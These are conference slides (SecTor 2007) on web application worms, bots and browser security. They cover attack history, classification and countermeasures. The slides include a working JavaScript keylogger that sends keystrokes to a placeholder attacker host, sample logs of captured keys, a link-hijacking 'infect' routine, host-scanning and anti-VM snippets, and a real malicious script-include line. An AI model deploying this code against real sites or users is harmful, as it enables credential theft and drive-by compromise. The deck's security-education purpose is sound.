Web Application Worms & Bots

Mike Shema <mshema@qualys.com>
SecTor November 20, 2007
Welcome

• Background
  – Hacking Exposed: Web Applications
  – The Anti-Hacker Toolkit
  – Hack Notes: Web Security

• Conducted penetration tests against variety of web platforms, languages, and business processes.

• Currently working at Qualys on automated web application vulnerability scanning.
Overview

• Highlight current state of web security
• Explain the current state of browser security
• Review recent attacks against the browser
• Discuss evolving attacks against the browser
• Identify current methods for protecting the browser
• Highlight future browser defenses and possible attack trends
Web Security

- Web application (in)security continues to grow.
  - Web-related vulnerabilities pop up on Bugtraq daily. (http://www.securityfocus.com/bid/)
  - Web-related attacks have large-scale impact and can be expensive to investigate, react, and resolve.
  - Web security becomes a requirement of PCI in 2008.

- Common focus on threats to web applications.
  - OWASP Top 10
  - WASC Threat Classification

- What about threats from the web application?
Web Security

- *Reported* web server vulnerabilities have decreased.
  - IIS 6.0 released April 2003
    - MS06-034 (specially-crafted ASP file could cause buffer overflow)
    - No resurgence of Code Red or Nimda style vulnerabilities
  - Apache 2.0.45 (March 2003) to Apache 2.0.61 (September 2007)
    - 38 security bugs according to changelog
    - 24 specific to core or mod_ssl
  - Apache 2.2.0 (November 2005) to Apache 2.2.6 (September 2007)
    - 8 security bugs according to changelog
    - 2 specific to core or mod_ssl
- Yet the number of servers continues to grow significantly.
Web Security

• 2004-2007: Web security widens its grasp and deepens it reach
  – Attackers target large properties: MySpace, Google, Yahoo!
  – Researchers target application engines: Month of PHP bugs
  – Exploits target browsers: malicious JavaScript, plug-in buffer overflows

• XSS remains a significant problem and has been known for over a decade.
  – USENET references to “malicious html” and “malicious javascript” as far back as 1996
    • comp.security.unix post on March 1996: http://tinyurl.com/2s593m
    • Entertaining discussion of JavaScript: http://tinyurl.com/2g2476
A Brief History of Desktop Security

- User and file privileges
- Event logging
- Signature-based virus detection
- Host-based firewall
- Behavioral-based virus detection
- Host-based intrusion detection system
- NAC / NAP (don’t let the device onto the network unless it’s secure)
A Brief History of Browser Security

• Same Origin Rule
• Restrict Java applet access to the localhost
• Block access to specific ports (some browsers)
  – ...because of security concerns
• Block pop-ups
  – ...because of obnoxious advertising
• Block third-party cookies
  – ...because of advertising and privacy concerns
• Block web bugs (1x1 images, etc.)
  – ...because of advertising and privacy concerns
• Compare URLs with known phishing sites
  – Send your complete browsing behavior to a third-party...raises privacy concerns
A Brief Aside on Advertising

- Double-click DART
- Google Analytics
- Create a banner ad with a link to malicious content
- Tin foil hat exercise #1: Buy ad space on a handful of popular sites, create a malicious link, wait, profit.
- Tin foil hat exercise #2: How might the relationship between the Mozilla Foundation and Google affect anti-advertising features?
Browser Security

• Business logic and business applications moving from the desktop to the browser…
  – …leaving all those nice security features behind

• What happens in the DOM stays in the DOM
  – Code (e.g. JavaScript, Java, Flash) executes with the assumption of trust within the browser.
  – JavaScript uses a global scope with only the Same Origin Rule to enforce restrictions.
  – Basically a ring 0 environment
    • A JavaScript keylogger doesn’t need escalated privileges
    • A vuln in a CMS can divulge sensitive data without any need to access the local file system

• Forensic challenges
Browser / Desktop Sandbox

- Prevent browser’s access to localhost
- Limit Java capabilities
- Internet Explorer zones
  - Acknowledges that different sites should have different levels of trust
  - Difficult to maintain, understand for unsophisticated users
- Does not create sandboxes within the DOM
  - Same Origin Rule is as granular as it gets
  - (Firefox NoScript plug-in)
Browser Security

- Assumption of trust in HTML (no “signed” content)
- No separation of UI generation and data manipulation
  - JavaScript can affect all aspects of DOM
  - Leads to exploits like XSS, phishing, social engineering
- Current security measures are inadequate or bypassed by certain attacks.
- Same Origin Rule has taken some shots
  - DNS rebinding / Anti-DNS pinning
    - http://crypto.stanford.edu/dns/
  - Does not limit JavaScript capabilities within the same origin
- Cookie attributes (secure, httponly) slowly developed, more slowly adopted.
- Attacks that target users are difficult to solve via technical means, e.g. phishing.
Threats Evolve

• Financial motivation
  – Information with value will be information at risk
  – Credit card theft moves into credential theft
  – Attackers obtain up to $10 for a stolen online game account, $6 for a credit card (http://news.bbc.co.uk/2/hi/technology/6526851.stm)

• Infect rather than deface
  – Defacement detected quickly, infection detected slowly
  – Add malicious content to a site to spread compromise to visitors of the site (http://isc.sans.org/diary.html?storyid=2166)

• Increased potential for targeted attacks against users of web-based services

• Exploit the trust between the server and browser
  – Thrive on the increase in user-generated content
  – MySpace, Youtube, etc.
Site Infection

- Insert malicious content into a web page
  - Less likely to be noticed than a defacement
  - Each visitor to the site is a potential victim
  - The malicious content only need to point to a server controlled by the attacker.
    - The exploit can be dynamically updated without re-accessing the compromised web site.
    - The exploit could be customized to the victim’s environment
- Victim comes to the exploit, rather than trying to send the exploit to the victim.
  - Outbound HTTP requests allowed through firewalls, by nature are not suspicious.
  - No intervening filters or server-based detections that spam runs into.
- Still requires a vulnerability to obtain an initial foothold.
Site Infection

- Exploit required a single line of HTML
  `<script src="http://w1c.cn/3.js"></script>`

- Discovered February 2, 2007
  - Evidence of compromise as far back as November 2006
  - Delivered an exploit publicly disclosed in January 2007.
  - At the time, a quick search revealed a similar compromise on over two dozen other sites.

- Sources:
Attack Methods

• Exploit a browser vulnerability
  – Direct victim’s browser to a binary exploit
    • Flash Player, November 2006
      (http://www.microsoft.com/technet/security/bulletin/ms06-069.mspx)
    • Windows Animated Cursor, April 2007
      (http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx)
  – Exploit can be hosted on a “trusted” or familiar site
    • Malware on German Wikipedia site, November 2006
      (http://www.technewsworld.com/story/54118.html)
• Delivering binary exploits via the browser is not much different than spam or other “old” attacks.
Malicious JavaScript

• Prevalence of AJAX-style web applications
  - JavaScript is a requirement to browse these sites, users can’t be expected to disable JavaScript as a security precaution.
• “Nobody expects the Spanish Inquisition!”
  - Browser plug-ins
    • Firefox plug-in doesn’t enforce Same Origin Rule, July 2005 (http://simonwillison.net/2005/Jul/20/vulnerability/)
  - PDF files
    • May 2003 (http://www.kb.cert.org/vuls/id/184820)
    • January 2007 (http://www.kb.cert.org/vuls/id/815960)
  - Forging HTTP headers with Flash, July 2006 (http://tinyurl.com/38onf3)
  - File metadata
    • Netscape Navigator GIF comment XSS, November 2001 (http://www.securityfocus.com/bid/2637/)
    • MP3 tags (http://www.gnucitizen.org/blog/backdooring-mp3-files/)
Malicious JavaScript

- Programming language executed in the browser
- Ability to modify, add, and monitor DOM properties and events.
- An HTML injection flaw can lead to significant compromises of the user.
  - Malicious JavaScript is not inhibited by the Same Origin Rule -- it’s already on the origin!
  - Same Origin Rule does not block JavaScript from sending data to a different domain
element.addEventListener("keypress", keyHandler, true);

function keyHandler(e) {
    var event = e || window.event;
    var element = event.target || event.srcElement;
    var alt = (event.modifiers & Event.ALT_MASK) || event.altKey;
    var ctrl = (event.modifiers & Event.CTRL_MASK) || event.ctrlKey;
    var shift = (event.modifiers & Event.SHIFT_MASK) || event.shiftKey;
    if(alt) g_keyBuffer += "[alt]";
    if(ctrl) g_keyBuffer += "[ctrl]";
    if(shift) g_keyBuffer += "[shift]";
    g_keyBuffer += decToHex(event.charCode);
    if(g_flushBuffer || g_keyBuffer.length > 10 || event.type == "unload") {
        send(g_keyBuffer);
        g_flushBuffer = false;
        g_keyBuffer = "";
    }
}
var g_home = http://attacker/text/

function send(text) {
  if(!text || text.length == 0)
    return;

  var body = document.getElementsByTagName("body")[0];
  var link = g_home + "?" + text;
  var e = document.createElement("script");
  e.setAttribute("src", link);
  body.appendChild(e);
}
Keylogger -- log results

127.0.0.1 - - [13/Mar/2007:17:20:08 -0700] "GET /text/?617364666173 HTTP/1.1" 404 211 ...
127.0.0.1 - - [13/Mar/2007:17:20:10 -0700] "GET /text/?646661736466 HTTP/1.1" 404 211 ...
127.0.0.1 - - [13/Mar/2007:17:20:11 -0700] "GET /text/?617364666173 HTTP/1.1" 404 211 ...
127.0.0.1 - - [13/Mar/2007:17:20:11 -0700] "GET /text/?646661736466 HTTP/1.1" 404 211 ...
127.0.0.1 - - [13/Mar/2007:17:20:11 -0700] "GET /text/?646466736464 HTTP/1.1" 404 211 ...
function infect(e) {
    g_link = e;
    window.document.write("<object type=text/html height="100%"
                         width="100%" data=" + g_link + ">");
    window.document.write("<script src=" + g_js + ">
                           </script>");
    window.document.close();
    return false;
}
...

var rootNode = document.getElementsByTagName("body")[0];
var walker = document.createTreeWalker(rootNode, NodeFilter.SHOW_TEXT, null, false);
while(walker.nextNode()) {
    if(3 == walker.currentNode.nodeType) { // text node
        element = walker.currentNode.parentNode;
        if("A" == element.nodeName) {
            element.setAttribute("onClick", "infect(this); return false;");
        }
    }
}
}
var HEAD = document.getElementsByTagName("head")[0];
function createScript(host) {
    var script = document.createElement("script");
    script.src = host;
    HEAD.appendChild(script);
}

function errorHandler(message, link, line) {
    if(line && line > 0) { alert("line: " + line); }
    return true;
}

function hostScan() {
    window.onerror = errorHandler;
    createScript("http://somehost/");
}
HTML Parsing Idiosyncrasy
Autocomplete (good browser security)
Autocomplete (good browser security)

- Firefox
  - Trusted vs. untrusted events
  - Separation of HTML DOM (content) and XUL (browser UI)
- Cannot set focus to an element and then dispatch a keypress event
  ```javascript
  var arrowUp = document.createEvent("KeyEvents")
  arrowUp.initKeyEvent(...)
  Element.focus
  Element.dispatchEvent(arrowUp)
  ```
- Otherwise, it would be possible to spoof any form, have the browser autocomplete the fields, then read the values of the completed fields.
Information Leakage

• Submitting data from one domain to another domain
  – E.g. result of a port scan, browser history, cookie theft
• Unaffected by Same Origin Rule
• The browser automatically loads many URIs for many legitimate purposes.
  – `src` attribute (`img`, `script`)
  – `<object>` elements
  – Content hosted on third-party servers (e.g. images, static HTML, CSS)
• Encode information in the path or query string. (HTTP)
  – http://dropsite/user/password
• Encode information in the server name. (DNS)
Web Application Worms

- Distribution nodes
  - Social networking (e.g. MySpace)
  - Media aggregation (e.g. YouTube)
  - User-generated content (e.g. Wikipedia, blogs)

- Transmission techniques
  - Browser exploit (buffer overflow)
  - Malicious JavaScript in payload
  - Malicious JavaScript hosted on drop site

- Semi-persistent client nodes
  - Active while the browser is open
  - Can be persistent within a domain
Worms & Bots

• Traditional bots
  – DoS
  – Spam
  – Click fraud

• Web bots
  – Click fraud
  – Credential theft (e.g. keylogger)
Thick-Client Bots

- Focus on information within the browser -- doesn’t need access to the desktop.
- JavaScript XSS shells
- LiveConnect (Java ⇔ JavaScript bridge)
- Plug-in technologies
  - Flash
  - Silverlight
Anti-Analysis

• Obfuscation via XOR, string concatenation, mix of grammar
• Breaking out of <textarea> for browser-based analysis

• References
Anti-Detection

- As Trojans and viruses go, so go web-bots
  - Honeynet project to capture network- and host-level hacking techniques.
  - Honeymonkey and similar projects to capture browser-level hacking techniques.
- Identify host running in VMWare

```javascript
if('object' == typeof java) {
    var net = new java.net.NetworkInterface.
        getNetworkInterfaces();
    var netif = net.nextElement();
    while(netif) {
        alert(netif.toString());
        netif = net.nextElement();
    }
}
```
Browser Security

• Some problems can’t be solved in the browser.
  – Social engineering tricks victim into divulging sensitive information.

• Some solutions require significant infrastructure
  – More infrastructure == more complexity
  – Strong authentication and identification could minimize the number of areas where credentials are stored
    • http://openid.net/
    • http://www.eclipse.org/higgins/
    • http://www.projectliberty.org/
  – Establishing trust requires a third-party to the server and browser.
    • How many people pay attention to SSL certificate validity?
    • How long did it take browsers to drop SSLv2 support?
Proactive Countermeasures

• Prevent the initial compromise
• Web application security audit
  – Prevent unexpected HTML injection
  – Identify areas where user-generated content is permitted
    • Pre-inspect content
    • Quarantine content
• Continuous monitoring of the site for infection.
• Minimize the potential for the application to be used as a distribution point for malicious content
Reactive Countermeasures

• Proxies
  – Centralizes access control to web sites
  – Access logs may be able to identify compromised browsers or browsers that have navigated to sites that are known to have malicious content

• Deny access to Internet sites
Countermeasures in the Browser

- **Anti-virus and the browser**
  - Current AV already detects many known Trojans, exploits
  - Host-based Intrusion Detection System may prevent some buffer overflows
  - Anti-Spyware and -malware solutions focus on requests to blacklisted domains or content signatures

- **With the exception of HIDS, these rely on blacklists and signatures.**
  - An HTML or JavaScript payload can be written in many different ways.
  - DOM access and prompts for information (e.g. password, credit card number) are not inherently malicious.

- **Signatures and blacklists are a reactive measure.**
Upcoming Technology

• CSS
  – Hiding content with alternate media
  – Loading content (e.g. font families)

• HTML 5.0 and client side storage
  – Available in development branch of WebKit
  – Potential for significant amount of data to be stored
  – Enables more business logic to move into the browser
  – The greater concern is the amount of personal information stored rather than SQL injection
Browser Engine Attack Classification

• Same Origin Defeat
  - Break the domain access restrictions

• HTML parsing idiosyncrasy
  - E.g. SAMY, Firefox unclosed <script>

• DOM injection
  - Create, modify, delete elements (e.g. create <img> elements to determine live hosts/ports, modify event handlers to insert keylogger)

• Namespace infection
  - Inject JavaScript into the page, unaffected by SOR (e.g. modify serialized values, affect application logic)

• Browser instrumentation (Cross-Site Request Forgery)
  - Inject HTML or JavaScript that conducts pre-packaged requests to a third party.
  - Doesn’t have to bypass SOR

• Information leakage via inference
  - Timing (e.g. DNS resolution, response time for <img> elements to determine live hosts/ports)
  - Content inspection (e.g. access font colors to determine browser history)

• Ambiguous content-type
  - JavaScript inside PDF, file metadata

• Insecure plug-in
  - Buffer overflow
Trends

• Mobile devices
  – Browser engines (WebKit, Gecko) showing up in many applications

• Application plug-ins for media (e.g. Flash Player)

• More attacks against the browser
  – Greater pool of directly-accessible victims
  – Uniform exploit environment (HTML, JavaScript similar enough in IE, Safari, Firefox, Opera, etc.)

• The browser used as a relay for attacks against other servers.
  – CSRF libraries
Questions
Thank you!
Additional Resources

• GnuCitizen.org
  – Purple Paper
  – Renaissance

• Hackers.org

• OWASP.org

• WebAppSec.org